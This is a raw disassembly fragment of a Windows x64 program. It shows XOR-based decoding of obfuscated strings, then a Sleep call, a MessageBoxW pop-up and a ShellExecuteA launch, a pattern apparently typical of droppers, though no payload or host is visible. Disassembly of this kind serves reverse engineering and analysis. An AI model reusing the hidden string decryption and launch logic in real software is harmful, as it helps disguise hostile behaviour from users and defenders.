lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x140063460
cmp r9d, 0x31
jae 0x1400635a3
mov eax, r9d
lea rcx, [rbp + 0x1a0]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x31
jb 0x140063590
mov byte [rbp + 0x1d1], 0
movdqa xmm0, xmmword [0x1400c59a0]
movdqu xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400c5aa0]
movdqu xmmword [rbp + 0x70], xmm1
mov dword [rbp + 0x80], 0x397d1915
mov word [rbp + 0x84], 0xb902
mov byte [rbp + 0x86], 0x99
mov r9d, esi
lea r10, [rbp + 0x68]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r14d, 0x10
lea r10, [r10 + 0x10]
cmp r14d, 0x28
jb 0x1400635f0
cmp r9d, 0x26
jae 0x140063725
mov eax, r9d
lea rcx, [rbp + 0x60]
add rcx, rax
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x26
jb 0x140063712
mov byte [rbp + 0x86], 0
cmp dword [0x1400d6e48], 1
sete sil
mov dword [0x1400d6d70], esi
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x1a0]
cmovne rdx, rcx
nop dword [rax]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140063750
mov r8, rbx
lea rcx, [0x1400d9e18]
call fcn.14007ccc0
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140061bee
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061be9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637c0
jmp 0x140061be9
call fcn.140095fac
nop
call fcn.140095fac
int3
call fcn.140095fac
int3
call fcn.140095fac
nop
call fcn.140095fac
nop
call fcn.140095fac
nop
call fcn.140095fac
nop
call fcn.140095fac
int3
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1400d6e48], 1
jne 0x14006381d
lea rdx, [rsp + 0x40]
call fcn.1400638e0
mov rcx, rax
call fcn.14007ace0
mov r10, rax
lea rdx, [rbp + 0x60]
call fcn.1400638a0
mov rcx, rax
call fcn.14007ad00
mov r8, r10
jmp 0x140063846
lea rdx, [rsp + 0x48]
call fcn.1400639a0
mov rcx, rax
call fcn.14007ab80
mov r11, rax
lea rdx, [rbp - 0x70]
call fcn.1400638f0
mov rcx, rax
call fcn.14007abb0
mov r8, r11
mov r9d, 0x40
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rsp + 0x40]
call fcn.1400639c0
mov rcx, rax
call fcn.14007adf0
mov rdx, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x400]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call fcn.140092eac
int3